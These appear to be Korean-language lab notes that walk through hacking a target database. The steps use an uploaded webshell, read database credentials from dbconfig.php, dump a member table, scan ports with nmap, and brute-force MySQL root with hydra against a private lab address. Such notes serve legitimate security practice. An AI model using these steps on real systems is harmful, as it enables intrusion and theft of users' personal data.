Target Database Hack : SQL 데이터 베이스 회원 정보 확인 - Ubuntu

Target Database Hack

SQL 데이터 베이스 회원 정보 확인

 

kali

cmd

# wget https://github.com/github2ygl/safehack/raw/main/myquery.php

firefox

https://10.0.2.11/board/pds/webshell.php

# ls ../

# cat ../dbconfig.php => view page source code

cmd 

# nano myquery.php

하기와 같이 host ~ passwd 까지 입력 값 기입

# cp myquery.php myq.php => firefox 게시판에 페이지가 중복이 되지 않도록 파일 복사

show databases;

use webhack;

show tables;

 

select * from member

Target Database Port Hack

# nmap -sV 10.0.2.11 => port 확장 여부 및 관련 내용 확인

# hydra -l root -P ~/password.txt -v -V 10.0.2.11 mysql => hydra 공격

Ubuntu

#